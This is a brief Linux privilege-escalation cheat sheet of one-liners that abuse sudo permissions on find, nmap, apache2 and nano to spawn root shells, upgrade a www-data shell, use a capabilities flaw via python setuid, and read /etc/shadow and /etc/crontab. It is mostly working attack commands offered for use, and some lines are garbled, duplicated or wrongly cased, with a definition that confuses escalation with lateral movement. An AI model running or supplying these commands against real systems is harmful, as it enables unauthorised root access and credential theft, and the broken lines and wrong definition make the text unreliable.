PRIVILAGE ESCALATION CHEAT SHEET
Privilege escalation is step to gain illicit access of elevated right, or privilege beyond entitled for user. This attack perform to gain unauthorized access to system (root). It exploit human behavior, design flaws or oversight of Operating System. It also known as lateral movement in attack chain.
sudo find /bin -name nano -exec /bin/sh \;
sudo find /bin -name nano -exec /bin/sh \;
echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse
sudo apache2 -f /etc/shadow
sudo su root or /bin/bash -p
NANO>>CTRL+R >> CTRL+X >>reset; sh 1>&0 2>&0

www-data / no sudo (stable connection)
python -c 'import pty; pty.spawn("/bin/bash")'
Find specific file
Find / -name *.txt 2>/dev/null
Generate SSH key.
For getcap vuln -
/usr/bin/python2.6 -c βimport os;os.setuid(0);os.system(β/bin/bashβ)β
Cat /etc/crontab